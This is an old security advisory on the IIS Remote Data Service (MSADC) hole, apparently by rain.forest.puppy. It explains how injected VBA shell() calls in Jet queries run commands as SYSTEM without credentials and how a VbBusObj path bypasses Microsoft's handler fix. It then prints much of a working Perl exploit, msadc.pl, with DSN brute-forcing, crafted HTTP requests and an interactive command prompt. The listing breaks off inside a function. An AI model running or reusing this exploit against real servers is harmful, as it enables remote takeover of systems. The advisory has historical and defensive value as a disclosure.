COMMAND

    IIS (RDS)

SYSTEMS AFFECTED

    WinNT running IIS with RDS enabled

PROBLEM

    Greg Gonzalez found following.   In Microsoft's Security  Bulletin
    MS98-004 MS addressed the ability to issue Shell commands if  MDAC
    1.5 components were installed on a machine running IIS 3.0 or 4.0.
    MDAC 1.5 is  installed by default  as part of  the Windows NT  4.0
    Option  Kit  installation,  as  well  as  part  of other Microsoft
    products.  The  bulletin refers to  the need for  a valid database
    userID and  password combination  for the  exploit to  work.  Greg
    recently  discovered  a  way  to  issue  Shell  commands as SYSTEM
    without the need for userIDs (and therefore no password required).
    This exploit also  does *not* require  the presence of  any sample
    Web  applications  or  example  code,  or even an active database.
    All that is required on  the server is an active  RDS DataFactory,
    and  all  that  is  required  on  the  client is the ADO Recordset
    Library.  A Web  Server with Index Server  on it, for example,  is
    susceptible to this exploit  if MDAC 1.5 is,  or ever was, on  the
    box (a standard installation from the Windows NT 4.0 Option Kit).

    The  exploit  itself  combines  a  couple  of  relatively standard
    development techniques, and one not-so-standard technique that has
    been reported on  before.  The  non-standard technique is  issuing
    Shell   commands   using   an   Access   query   as  described  by
    .rain.forest.puppy. in his Bugtraq post earlier this year

        http://www.geek-girl.com/bugtraq/1999_2/0544.html

    One of the  standard techniques Greg  will mention is  calling RDS
    from  VB  or  VBA,  which  MS  describes  in  detail  in  Q165297.
    Following text  is based  on paper  by rain  forest puppy  / ADM /
    Wiretrip.  It is not presented in whole part as got nothing to  do
    with bug.

    Greg  Gonzalez  (re)posted  his  findings  of  vulnerabilities  in
    regards to the RDS problems originally detailed in MS98-004, which
    came  out  around  July  16,  '98.   He  took that issue (which is
    basically the  simple fact  that 'Remote  Data Service' components
    allow *remote* access to  your *data*....who would have  thought?)
    and  combined  it  with  the  Jet pipe/VBA delimiter 'feature' RFP
    discussed in his recent advisory.  The result?

        1. You can make remote queries via RDS
        2. You can embed NT command line commands in queries

    But, Greg threw in a twist which supposedly is the kicker:

        3. You  don't  need  user  IDs  (and  therefore  no   password
           required), does  *not* require  the presence  of any sample
           Web  applications  or  example  code,  or  even  an  active
           database.

    That's  a  pretty  big  kick.   Wow,  no UIDs/passwords, NO SAMPLE
    SCRIPTS!   Now, the  sad part.   They didn't  released details (at
    least at time of writing, but Security Bugware will simply  append
    them to this advisory when they will be released).

    RFP has guess at Greg's RDS Vulnerability ('guess' because he  may
    not be  right).   Ok, so  Greg's RDS  vulnerability has three main
    aspects:

        1. You only need RDSServer.DataFactory component
        2. It uses Jet queries with my embedded VBA via pipes trick
        3. You  don't  need   userIDs  (and  therefore  no    password
           required), does  *not* require  the presence  of any sample
           Web  applications  or  example  code,  or  even  an  active
           database

    Now, for those of you who don't know, RDS is basically a way to do
    remote data  queries to  a server.   This is  done over  the  web.
    Basically  your   client  app   communicates  via   HTTP  to   the
    /msadc/msadcs.dll  on  your  server.   The  msadcs.dll exposes the
    RDSServer.DataFactory   object,   or    better   known   as    the
    AdvancedDataFactory.   Now   AdvancedDataFactory  only  has   four
    methods, so  we're kind  of limited  on what  we can  do.   We can
    CreateRecordSet, Query, SubmitChanges, and ConvertToString.  Query
    and SubmitChanges  require a  valid database  to work  upon.   The
    other two are just data mangling functions.  So there you have it,
    that's what we have to work with.

    RFP  played  with   CreateRecordSet  and  ConvertToString.    This
    actually relays  data from  the client,  to the  server, and back.
    His hopes were that  somewhere in there he  could slip one of  his
    pipe-VBA-shells in there and do fun stuff.  But nope, all they did
    was  regurgitate  the  data  in  a  different  flavor.   Oh  well.
    SubmitChanges  just  basically  does  an  elaborate UPDATE/INSERT,
    where  it  just  syncs  the  server's  database  with the client's
    recordset.  So that leaves Query.

    Well Query  lets us  run queries  against an  (existing) database.
    And we know we can embed our pipe-VBA-shells in queries, so  Query
    looks good.  But  this is nothing spectacular.   And there is  one
    catch: the need for an existing  database.  We need to pass  a DSN
    to  the  ActiveDataFactory  to  actually  run  the  query on.  The
    problem with the DSN is that:

        1. DSNs can require UIDs and passwords
           (but  actually  there's  a  DSN  called  advworks  that  is
           automatically configured  by RDS  Server and  don't require
           password as mentioned after.   And using the method  bellow
           (showcode.asp) you can pick up some DSN UIDs and  passwords
           without any problems.
        2. There's no way to get a list of available DSNs (**  through
           RDSServer.DataFactory functions, that  RFP is aware  of **)
           (But since Advanced  Data Control   packet comes with  some
           more             As-Designed-bug-features              like
           /msadc/samples/SELECTOR/showcode.asp  actually  there's   a
           way to retrieve the ODBC list wich is in \winnt\odbc.ini.)
        3. A DSN constitutes an 'active' database

    So DSNs blow  away point 3  of our known  things about Greg's  RDS
    vulnerability.  What if  we can get around  using DSNs?  Well,  we
    can.  See, you can go the easy route by specifying "DSN=rfp",  and
    then the server keeps all the internal information about that DSN,
    including  driver,  actually  database  file  location  (if it's a
    file-based  driver),  UID,  password,  connection parameters, etc.
    Well, what's fun is  that we can directly  give all that stuff  in
    the query setup instead of a DSN.  Let's say we setup a DSN  named
    'rfp' (for Rain Forest  Puppy or R. F.   Prigogine).  We will  use
    these parameters:

        DSN name 'rfp'
        Microsoft Access (Jet) driver
        c:\rfp.mdb for our database
        UID will be 'rfp'
        password will be 'prigogine'

    So  by  invoking  "DSN=rfp",  the  server  knows to use the Access
    driver on  the c:\rfp.mdb  file.   DSNs are  a nice  tight way  to
    precompose all  that information.   Or we  can do  it on  the fly.
    Rather  than  issuing  a  "DSN=rfp"  connect  string,  you can use
    instead:

        "driver={Microsoft Access Driver (*.mdb)}; dbq=c:\rfp.mdb;"

    This will  still invoke  the Access  (Jet) driver,  and tell it to
    directly use c:\rfp.mdb.  No UID.  No password.  No even  worrying
    about if/what DSNs exist.  That whacks out part of known point  #3
    (no UID or password). We're going to use the RDSServer.DataFactory
    control (known point #1), and we're going to use the Access driver
    with  fun  pipe-VBA-shell  features  (known  point #2).  We're not
    using  any  other  web  sample  scripts,  so that cuts out another
    portion of known point #3.  Oh, we're so close...can you taste it?

    There's still  one minor  detail.   Notice we  have to specify the
    'dbq=' parameter in the connection setup.  And this needs to be  a
    valid file.  If it's not,  the SQL engine on the server  side will
    fail and return  errors before it  even gets around  to looking at
    our queries.  But damn, we need an .mdb file to connect to.  Well,
    if you look  in the Access  ODBC reference on  Microsoft's website
    (which  sucks,  half  the  links  were  broken  at various moments
    through the night while sifting through it) you will see that  you
    can pass a  CREATE_DB parameter to  the Access driver.   This will
    cause the driver to construct a valid (empty) .mdb file.   Woohoo!
    So  in  our  connection  setup  we  pass  a "CREATE_DB=c:\rfp.mdb"
    attribute with everything else and low and behold, it didn't work.
    The problem was that it was passing the CREATE_DB parameter during
    the SQLDriverConnect() phase, and that just isn't going to cut it.
    We need to issue a SQLConfigDataSource() call (RFP thinks that was
    it...)   to    get    CREATE_DB   to    do    it's   thing,    and
    RDSServer.DataFactory.Query  just  wasn't  going  to give us love.
    So, after struggling with  other nuances and ideas,  RFP concluded
    that he couldn't make a DSN,  or a .mdb from scratch using  Access
    SQL   via   RDSServer.DataFactory   without   connecting   to    a
    database/.mdb beforehand.

    Well damn,  so we  need a  database to  make this  work.   Any 'ol
    database will do (hell, even  the WINS or DHCP .mdb  should work).
    But unfortunately, none come by default on a standard NT  install.
    But wait....all is not lost....  It seems when you do a  'typical'
    or  better  install  with  Option  Pack  4,  a  particular .mdb is
    installed...namely  the   btcustmr.mdb  which   is  installed   to
    %systemroot%\help\iis\htm\tutorial\.   Microsoft  saves  the  day!
    They're  just  so  damn  efficient  at  helping  us hack their own
    product...  To get IIS 4.0 you practically need to install  Option
    Pack  4,  which  will  also  then  install MDAC 1.5--this is good.
    Let's just  hope they  didn't pick  the 'minimal'  install...  The
    last catch is that  we need to figure  out what %systemroot%.   On
    the  majority  of  the  systems  it  will  probably  be  c:\winnt,
    d:\winnt, e:\winnt, or f:\winnt (don't laugh, mine is f:).  We can
    guess some wacko might do \win, \windows, \nt, and if you  upgrade
    it may be \winnt351 or \winnt35.  Well, we can do a little  'brute
    force' on all those combinations until one works.  Oh, and no, you
    can't do "dbq=%systemroot%\help\iis\htm\tutorial\btcustmr.mdb"  as
    the SQL driver pukes that way.  So that's the guess!  Mr. Gonzalez
    is using a connection string similar to

        "driver={Microsoft Access Driver (*.mdb)};
            dbq=c:\winnt\help\iis\htm\tutorial\btcustmr.mdb;"

    with a  query that  contains one  of the  pipe-VBA-shell commands.
    Now, RFP  thinks this  technically meets  all the  known points of
    the exploit--the only  fuzzy one is  where Greg mentions  "no need
    of an *active*  database".  Now,  he may be  reading into it,  but
    btcustmr.mdb is hardly active.  It's a totally unused .mdb sitting
    in a directory most people probably didn't know existed.  Just  to
    double check, he  did a quick  little test... and  six of the  ten
    servers  he  picked  off  the  Internet  were  susceptible to this
    method.  Now, RFP  obviously could be wrong.   Maybe Greg found  a
    way to create the .mdb, or some other way where he doesn't need to
    rely on the existence of btcustmr.mdb.

    Let's  also  mention  the  contenders.   They were contenders, but
    definitely did  not make  the final  round because  as much as the
    'look' and 'smelled' exploitable, RFP couldn't get them to crack:

    1. Data  Shape  Provider.   This  already  has hooks into the  VBA
       interpreter  (you   can  put   VBA  commands   in  the   CALC()
       function--except it  lacks shell()),  and is  a primary suspect
       in your eyes.  The bonus is that you do *not* need any database
       files to use this.  Well, barring the fact that we really don't
       know what we're doing, RFP played around with it trying to feed
       some  pipe-VBA-shells  to  it  and  whatnot,  but  couldn't get
       anything  interesting  to  happen.   Now,  this is installed by
       default, has VBA hooks already, doesn't need a database, etc.

    2. Index Server Provider.   Now, not all places use  Index Server,
       so we highly doubted this was the route, but it is a contender.
       Again, you don't need a database file, so that's a bonus.   RFP
       tried the usual pipe-VBA-shell commands, but no go either.

    If RFP really had to choose,  he would say the exploit was  in the
    Data  Shape  Provider  (which  Microsoft  also  warned  of  in the
    advisory).  But since he couldn't get it to give me love, he  went
    with btcustmr.mdb.  So, yes, RFP  could be wrong.  But he  figured
    why not just feature pack  this script to *really* kick  some ass?
    So, he wasted a few brains  cells and thought of some good  things
    to toss into the code (might as well make this a useful tool!).

    The first one is pretty  obvious.  There are many  applications on
    the  market,  that  would  be   used  on  a  server,  that   would
    make/require a DSN.  For instance Cold Fusion creates a few  DSNs,
    as does iHTML.  Some of the sample apps that come with IIS  create
    DSNs as well, and the MDAC  makes a few too.  All  these potential
    DSNs.  Remember, it only takes one  DSN to work.  So if we  wanted
    to,  we  could  scan  to  see  if  any of a number of default DSNs
    exist, and if they  do, use them.   An extension of this  would be
    user created DSNs.  Again, all we need is the DSN name, so we  can
    scan  for  what  are  'psychologically'  common  DSN  names.   For
    instance test, web,  data, database, www,  db, and sql  are common
    type DSN  names.   Basically, if  you supply  a dictionary file of
    DSN names you  want to use,  the script will  sit there and  brute
    force,  a  la  a  remote  password  cracker  on the DSN names.  Of
    course, we'd need  DSNs with the  Access Driver.   But what's nice
    is that if we  connect to a valid  DSN with an invalid  SQL query,
    we'll get back the  name of the driver  in the error message.   So
    it's a nice  way to check.   Then we can  also do an  inverse type
    thing--instead of looking  for common DSNs  to connect to,  we can
    look for common .mdbs to connect to.  For instance MS Cert Server,
    DHCP,  and  WINS  all  use  .mdbs,  as  well  as particular sample
    scripts, SDKs, etc.  We can just try to connect to them  directly.
    If we  find one,  rather than  dealing with  the table information
    within the .mdb, we  can just CREATE TABLE  on it first, and  then
    use the table we just created.  Very simple.  Another  interesting
    feature  is  dumping  the  root  scope  paths  from  Index Server.
    Basically it's a  query of "Select  paths from scope()".   This is
    useful  because   it  can   provide  us   with  useful   directory
    information...since  one  of  the  tricky  problems is determining
    location  of  html  files  and  systemroot  (although they're most
    likely guessable, that's not always the case).  So RFP tossed this
    in for kicks, although it  doesn't run 'inline' with the  actually
    DSN/.mdb checks.  You invoke this functionality separately.

    The last extra functionality, but  the easiest of them all,  is to
    see if /scripts/tools/makedsn.exe exists on the webserver.  If  it
    does, we can make a DSN and define the .mdb file to use, and  then
    use it  right away.   In particular  script RFP  make a  DSN named
    'wicca'.  So,  wow.  Lots  of ways to  get a database  connection.
    RFP's RDS  script tries  them in  the following  order, continuing
    until successful:

        - try raw driver connect to btcustmr.mdb
        - try to create a DSN with /scripts/tools/makedsn.exe
        - look for common DSNs
        - look for common .mdbs
        - try 'dictionary' attack on user DSNs

    And  separately  you  can  query  Index  Server  to  get the paths
    information (Warning:  this could  be a  lot of  information!  The
    script  automatically   sorts  out   common  directories).     One
    interesting feature  that's almost  necessary is  a 'resume' mode.
    Imagine you just scanned a webserver, spending the last 5  minutes
    trying all the  combinations of valid  default .mdbs, valid  DSNs,
    etc.   Finally  it  cracks  and  you  get  one,  and  you run your
    command.  Well, what if you  want to run another command?   Do you
    have to  go through  that rigmarole  again?   Well, not  with this
    script.  When  you make a  successful connection, it  writes out a
    file  called  'rds.save'.   Then,  you  can  just use the 'resume'
    switch (-R),  with no  other options.   It will  read in rds.save,
    and let you run a command against the successful connection  again
    right away.   More Bonus  Features?   You see,  MDAC 1.5  installs
    *three* objects  by default.   RDSServer.DataFactory, which  we've
    discussed before.  AdvancedDataFactory,  which is really an  alias
    to   RDSServer.DataFactory.    But   there's   also   one   called
    VbBusObj.VbBusObjCls.  This is really an example of a  middle-tier
    business  object  of  the  possible  three-tier  RDS  model.    It
    implements four functions:  Test, GetMachineName, ExecuteSQL,  and
    GetRecordSet.  Test  does nothing for  us.  GetMachineName  is fun
    just because it returns the machines NetBIOS name, which is useful
    in many cases.  So  let's toss it in.   You invoke it with the  -N
    switch.

    Now ExecuteSQL and GetRecordSet  do basically the same  thing, run
    a SQL query.  The  difference is ExecuteSQL just returns  how many
    records we  affected, while  GetRecordSet returns  the records  as
    actual data.  RFP chosed to use GetRecordSet because it integrated
    better with the rest of the code, since it's return was strikingly
    familiar  to  the  output  from the RDSServer.DataFactory control.
    This is not a  big deal, other than  a bandwidth issue, but  we're
    not talking more than a few K of data here anyway.  'uh, so  what.
    There's  another  way  to   do  the  same  thing.    I  mean   the
    GetMachineName  thing  is  cool,  but  not all that much special'.
    Well, no.  Your wrong.  And let me tell you why.

    Starting with MDAC 2.0 you can define custom handlers.  Basically,
    rather than RDSServer.DataFactory  going straight to  the database
    driver, it takes a side trip  through a handler.  This is  the fix
    Microsoft mentioned  in their  security advisory  MS99-025.   They
    recommend you switch the following registry entry

        [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\DataFactory\HandlerInfo]
            "handlerRequired"=dword:00000001
            "DefaultHandler"="MSDFMAP.Handler"

    which tells RDSServer.DataFactory that  RDS *must* use a  handler,
    and that the default handler is MSDFMAP.Handler.  Then you can use
    msdfmap.ini to  specify options  for denying  certain connections,
    etc.   Microsoft even  supplies HANDSAFE.EXE,  which auto-extracts
    to a .reg file that sets  the above registry keys, plus a  list of
    safe handlers.   So if you  need RDS, the  preferred upgrade route
    from MDAC  1.5 is  to install  the latest  MDAC 2.x,  and then run
    HANDSAFE.EXE  to  make  sure  to  limit  outside  queries by using
    handlers, which are controlled.   Well, all this fun handler  crud
    is implemented in RDSServer.DataFactory.   So we're kinda  screwed
    when we run RDSServer.DataFactory.Query (as we should be, as  this
    is  the  fix).   Well,  guess  what.  VbBusObj.VbBusObjCls doesn't
    care about  handlers.   We just  effectively bypassed  the handler
    thing.  Wait, let me spell it out for you:

        THE MICROSOFT CUSTOM HANDLER FIX DOES NOT PREVENT THIS. WE CAN
        STILL   RUN   QUERIES.    HANDSAFE.EXE/CUSTOM   HANDLERS  (THE
        RECOMMENDED MICROSOFT FIX) DOES NOT PROTECT AGAINST THIS.

    So    we    just     use    VbBusObj.VbBusObjCls    instead     of
    RDSServer.DataFactory.   Simple  enough.   This  is  definately  a
    worthwhile feature.  You can  cause the script to use  VbBusObj by
    specifying the -V option.  But let'd admit:   VbBusObj.VbBusObjCls
    is not always  installed.  So  this is not  always the case.   But
    it's a case, none-the-less.

    NOTE:  When using VbBusObj, RFP  suggests you use -N *FIRST*.   If
           you get  a valid  NetBIOS name  back, VbBusObj  exists.  If
           you use -V without  verifying VbBusObj exists, and  in fact
           it doesn't exist, the script/connection will HANG!  So just
           humor me first  and use -N  first to see  if -V is  a valid
           option.

    To run the program, just save this whole advisory to a file,  such
    as msadc.pl (be sure  to convert some HTML  stuff to text).   Then
    run "perl -x msadc.pl".  Perl is smart and will figure out how  to
    run  the  script  at  the  end.   Ok,  the command switches are as
    follows:

    -h <ip or domain>   this is the host to scan.  You MUST either use
                        either -h or -R.

    -d <value 0-?>   this is the delay between connections.  Value
                        is  in  number  of  seconds.   RFP  added this
                        because  hammering  the  RDS components caused
                        the  server  to  occasionally stop responding.
                        Defaults to 1.  Use -d 0 to disable.

    -V                  Use VbBusObj instead of DataFactory to run the
                        queries. NOTE: please read the -N  information
                        below  as  to  suggestions  for  checking   if
                        VbBusObj exists.  VbBusObj does not give  good
                        error  reporting;   therefore  it   is   quite
                        possible to  have false  positives (and  false
                        negatives).   Consider   VbBusObj  support   3
                        stages before beta.

    -v verbose.         This  will print the ODBC error   information.
                        Really only for troubleshooting purposes.

    -e                  external dictionary file to use on step 5--the
                        'DSN dictionary guess' stage.  The file should
                        just be plaintext, one DSN name per line  file
                        with all the DSN names you want to try.  Quite
                        honestly a normal dictionary file won't do you
                        much good.   You can  probably do  pretty damn
                        well with a few  dozen or two good  ones, like
                        'www', 'data', 'database', 'sql', etc.

    -R                  resume.  You can still specify -v or -d   with
                        -R.   This will  cause the  script to  read in
                        rds.save and execute  the command on  the last
                        valid connection.

    -N                  Use   VbBusObj to try to  get the    machine's
                        NetBIOS name.   It may return  no name if  the
                        VbBusObj is  unavailable.   Use -N  to see  if
                        VbBusObj  exists  (a  NetBIOS  name  will   be
                        returned if so) before you use -V.

    -X                  perform an Index Server table dump    instead.
                        None of the other switches really apply  here,
                        other  than  -v  (although  -d  still   works,
                        there's no need to slow down one query).  This
                        dumps the root paths from Index Server,  which
                        can be rather lengthy.  Pipe the output into a
                        file.   Also,  if  there  is  a  lot of return
                        information, this command may take a while  to
                        complete.  Be patient.  It is not suggested to
                        use this command more than once a  minute...it
                        caused  P200  w/  128  RAM  to  stop answering
                        requests, and in general borked  inetinfo.exe.
                        If  you  do  decide  to  CONTROL-C  during the
                        middle of  the data  download the  script will
                        save  all  received  data  into  a file called
                        'raw.out',  so  you  don't  loose   everything
                        you've already  received.   NOTE: this  is the
                        raw data, which is in Unicode.

    The  script  reports  'Success!'  when  it  has issued a valid SQL
    statement.  'Success!' does  *NOT* mean that your  command worked.
    If they have MDAC 2.1+ shell commands are worthless, so the script
    will report 'Success!' (it  went through) but your  command didn't
    run (MDAC 2.1 didn't interpret it).  There's no return  indication
    to know  whether your  command worked  or not.   As with  the ODBC
    commands, you're flying  blind.  Future  updates to this  advisory
    and exploit code will be posted to

        www.technotronic.com/rfp/

    Again, to  run this,  save this  advisory to  a file (for instance
    msadc.txt, but be sure to save  it as text) and then run  'perl -x
    file' (ie perl -x msadc.txt).

    #!perl
    #
    # MSADC/RDS 'usage' (aka exploit) script
    #
    #	by rain.forest.puppy
    #
    # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
    #   beta test and find errors!

    use Socket; use Getopt::Std;
    getopts("e:vd:h:XRVN", \%args);

    print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";

    if (!defined $args{h} && !defined $args{R}) {
    print qq~
    Usage: msadc.pl -h <host> { -d <delay> -X -v }
	    -h <host> 	= host you want to scan (ip or domain)
	    -d <seconds>	= delay between calls, default 1 second
	    -X		= dump Index Server path table, if available
	    -N		= query VbBusObj for NetBIOS name
	    -V		= use VbBusObj instead of ActiveDataFactory
	    -v		= verbose
	    -e		= external dictionary file for step 5

	    Or a -R will resume a command session

    ~; exit;}

    $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
    if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
    if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
    if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
    $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
    if (!defined $args{R}){ $ret = &has_msadc; }
    if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
    if (defined $args{N}) {&get_name; exit;}

    print "Please type the NT commandline you want to run (cmd /c assumed):\n"
	    . "cmd /c ";
    $in=<STDIN>;    chomp $in;
    $command="cmd /c " . $in ;

    if (defined $args{R}) {&load; exit;}

    print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
    &try_btcustmr;

    print "\nStep 2: Trying to make our own DSN...";
    &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";

    print "\nStep 3: Trying known DSNs...";
    &known_dsn;

    print "\nStep 4: Trying known .mdbs...";
    &known_mdb;

    if (defined $args{e}){
    print "\nStep 5: Trying dictionary of DSN names...";
    &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }

    print "Sorry Charley...maybe next time?\n";
    exit;

    ##############################################################################

    sub sendraw { 	# ripped and modded from whisker
	    sleep($delay); # it's a DoS on the server! At least on mine...
	    my ($pstr)=@_;
	    socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
		    die("Socket problems\n");
	    if(connect(S,pack "SnA4x8",2,80,$target)){
		    select(S);		$|=1;
		    print $pstr;		my @in=<S>;
		    select(STDOUT);		close(S);
	 	    return @in;
	    } else { die("Can't connect...\n"); }}

    ##############################################################################

    sub make_header {  # make the HTTP request
    my $which, $msadc; # yeah, this is WAY redundant.  I'll fix it later

    if (defined $args{V}){
    $msadc=<<EOT
    POST /msadc/msadcs.dll/VbBusObj.VbBusObjCls.GetRecordset HTTP/1.1
    User-Agent: ACTIVEDATA
    Host: $ip
    Content-Length: $clen
    Connection: Keep-Alive

    ADCClientVersion:01.06
    Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=2

    --!ADM!ROX!YOUR!WORLD!
    Content-Type: application/x-varg
    Content-Length: $reqlen

    EOT
    ; } else {
    $msadc=<<EOT
    POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
    User-Agent: ACTIVEDATA
    Host: $ip
    Content-Length: $clen
    Connection: Keep-Alive

    ADCClientVersion:01.06
    Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3

    --!ADM!ROX!YOUR!WORLD!
    Content-Type: application/x-varg
    Content-Length: $reqlen

    EOT
    ;}
    $msadc=~s/\n/\r\n/g;
    return $msadc;}

    ##############################################################################

    sub make_req {  # make the RDS request
    my ($switch, $p1, $p2)=@_;
    my $req=""; my $t1, $t2, $query, $dsn;

    if ($switch==1){ # this is the btcustmr.mdb query
    $query="Select * from Customers where City=" . make_shell();
    $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
	    $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}

    elsif ($switch==2){ # this is general make table query
    $query="create table AZZ (B int, C varchar(10))";
    $dsn="$p1";}

    elsif ($switch==3){ # this is general exploit table query
    $query="select * from AZZ where C=" . make_shell();
    $dsn="$p1";}

    elsif ($switch==4){ # attempt to hork file info from index server
    $query="select path from scope()";
    $dsn="Provider=MSIDXS;";}

    elsif ($switch==5){ # bad query
    $query="select";
    $dsn="$p1";}

    $t1= make_unicode($query);
    $t2= make_unicode($dsn);
    if(defined $args{V}) { $req=""; } else {$req = "\x02\x00\x03\x00"; }
    $req.= "\x08\x00" . pack ("S1", length($t1));
    $req.= "\x00\x00" . $t1 ;
    $req.= "\x08\x00" . pack ("S1", length($t2));
    $req.= "\x00\x00" . $t2 ;
    $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
    return $req;}

    ##############################################################################

    sub make_shell {  # this makes the shell() statement
    return "'|shell(\"$command\")|'";}

    ##############################################################################

    sub make_unicode { # quick little function to convert to unicode
    my ($in)=@_; my $out;
    for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
    return $out;}

    ##############################################################################

    sub rdo_success {  # checks for RDO return success (this is kludge)
    my (@in) = @_; my $base=content_start(@in);
    if($in[$base]=~/multipart\/mixed/){
    return 1 if( $in[$base+10]=~/^\x09\x00/ );}
    return 0;}

    ##############################################################################

    sub make_dsn {  # this makes a DSN for us
    my @drives=("c","d","e","f");
    print "\nMaking DSN: ";
    foreach $drive (@drives) {
    print "$drive: ";
    my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
	    "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
	    . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
    $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
    return 0 if $2 eq "404"; # not found/doesn't exist
    if($2 eq "200") {
      foreach $line (@results) {
        return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
    } return 0;}

    ##############################################################################

    sub verify_exists {
    my ($page)=@_;
    my @results=sendraw("GET $page HTTP/1.0\n\n");
    return $results[0];}

    ##############################################################################

    sub try_btcustmr {
    my @drives=("c","d","e","f");
    my @dirs=("winnt","winnt35","winnt351","win","windows");

    foreach $dir (@dirs) {
     print "$dir -> "; # fun status so you can see progress
     foreach $drive (@drives) {
     print "$drive: ";  # ditto
    $reqlen=length( make_req(1,$drive,$dir) ) - 28;
    $reqlenlen=length( "$reqlen" );
    $clen= 206 + $reqlenlen + $reqlen;

    my @results=sendraw(make_header() . make_req(1,$drive,$dir));
    if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
    else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}

    ##############################################################################

    sub odbc_error {
    my (@in)=@_; my $base;
    my $base = content_start(@in);
    if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
    $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
    $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
    $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
    return $in[$base+4].$in[$base+5].$in[$base+6];}
    print "\nNON-STANDARD error.  Please sent this info to rfp\@wiretrip.net:\n";
    print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
	    $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}

    ##############################################################################

    sub verbose {
    my ($in)=@_;
    return if !$verbose;
    print STDOUT "\n$in\n";}

    ##############################################################################

    sub save {
    my ($p1, $p2, $p3, $p4)=@_;
    open(OUT, ">rds.save") || print "Problem saving parameters...\n";
    print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
    close OUT;}

    ##############################################################################

    sub load {
    my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
    open(IN,"<rds.save") || die("Couldn't open rds.save\n");
    @p=<IN>; close(IN);
    $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
    $target= inet_aton($ip) || die("inet_aton problems");
    print "Resuming to $ip ...";

    $p[3]="$p[3]";  $p[3]=~s/\n//g; $p[4]="$p[4]";  $p[4]=~s/\n//g;

    if($p[1]==1) {
    $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
    $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
    my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
    if (rdo_success(@results)){print "Success!\n";}
    else { print "failed\n"; verbose(odbc_error(@results));}}

    elsif ($p[1]==3){
	    if(run_query("$p[3]")){
	    print "Success!\n";} else { print "failed\n"; }}

    elsif ($p[1]==4){
	    if(run_query($drvst . "$p[3]")){
	    print "Success!\n"; } else { print "failed\n"; }}
    exit;}

    ##############################################################################

    sub create_table {
    return 1 if (defined $args{V});
    my ($in)=@_;
    $reqlen=length( make_req(2,$in,"") ) - 28;
    $reqlenlen=length( "$reqlen" );
    $clen= 206 + $reqlenlen + $reqlen;
    my @results=sendraw(make_header() . make_req(2,$in,""));
    return 1 if rdo_success(@results);
    my $temp= odbc_error(@results);  verbose($temp);
    return 1 if $temp=~/Table 'AZZ' already exists/;
    return 0;}

    ##############################################################################

    sub known_dsn {
    # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
    my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
	    "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
	    "banner", "banners", "ads", "ADCDemo", "ADCTest");

    foreach $dSn (@dsns) {
	    print ".";
	    next if (!is_access("DSN=$dSn"));
	    if(create_table("DSN=$dSn")){
	    print "$dSn successful\n" if (!defined $args{V});
	    if(run_query("DSN=$dSn")){
	    print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; }}} print "\n";}

    ##############################################################################

    sub is_access {
    my ($in)=@_;
    return 1 if (defined $args{V});
    $reqlen=length( make_req(5,$in,"") ) - 28;
    $reqlenlen=length( "$reqlen" );
    $clen= 206 + $reqlenlen + $reqlen;
    my @results=sendraw(make_header() . make_req(5,$in,""));
    my $temp= odbc_error(@results);
    verbose($temp); return 1 if ($temp=~/Microsoft Access/);
    return 0;}

    ##############################################################################

    sub run_query {
    my ($in)=@_;
    $reqlen=length( make_req(3,$in,"") ) - 28;
    $reqlenlen=length( "$reqlen" );
    $clen= 206 + $reqlenlen + $reqlen;
    my @results=sendraw(make_header() . make_req(3,$in,""));
    return 1 if rdo_success(@results);
    my $temp= odbc_error(@results);  verbose($temp);
    return 0;}

    ##############################################################################

    sub known_mdb {
    my @drives=("c","d","e","f","g");
    my @dirs=("winnt","winnt35","winnt351","win","windows");
    my $dir, $drive, $mdb;
    my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";

    # this is sparse, because I don't know of many
    my @sysmdbs=(	"\\catroot\\icatalog.mdb",
